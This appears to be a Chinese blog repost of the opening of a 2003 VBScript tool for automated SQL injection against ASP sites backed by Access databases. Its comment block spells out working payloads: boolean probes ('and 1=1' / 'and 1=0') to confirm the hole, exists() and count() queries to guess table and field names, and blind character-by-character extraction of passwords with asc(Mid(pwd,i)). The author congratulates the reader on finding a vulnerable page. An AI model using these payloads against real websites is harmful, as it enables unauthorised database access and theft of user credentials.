SQL注入之脚本篇-FORACCESS数据库

2020-11-09 来源：步旅网

这个脚本写于2003年，终于能收到我自己的博客里了。如今这样的注入漏洞已经很少了，一是纯asp的站越来越少，二是成熟的站点多见，一些漏洞都被补得差不多了，此脚本可以封存起来了。。^_^ ' SQL 注入之脚本篇-FOR ACCESS 数据库 by 晴阳(Liuxy) '

'==========================================================================
'通过脚本对因过滤字符不严的asp页面进行自动攻击，能自动猜测常用表名，字段名和用户，密码

'经修改也能猜测其他不常见的表名，字段名和用户，密码，不过速度不会很快

'1->.攻击前检测是否存在漏洞。若URL="http://ip/list.asp?id=1"则可构造这样的URL来检测

'<1>http://ip/list.asp?id=1 <2>http://ip/list.asp?id=1 and 1=1 <3>http://ip/list.asp?id=1 and 1=0

'若<1><2>两种情况与<3>返回的正文不一致，则表明一定存在sql注入漏洞~~~恭喜恭喜！

'2->.检测表名通过提交http://ip/list.asp?id=1 and exists (select * from ptable)来检测是否存在表pTable

'3->.检测字段名通过提交http://ip/list.asp?id=1 and 0<>(select count(pField) from ptable)

'4->.检测用户和密码 http://ip/list.asp?id=1 and exists (select * from Tablename where user<>'1') 这里的user为常用字段
'http://ip/list.asp?id=1 and exists (select * from Tablename where user=puser and len(pwd)>?)
'http://ip/list.asp?id=1 and exists (select * from Tablename where user=Username and asc(Mid(pwd,i))>?)
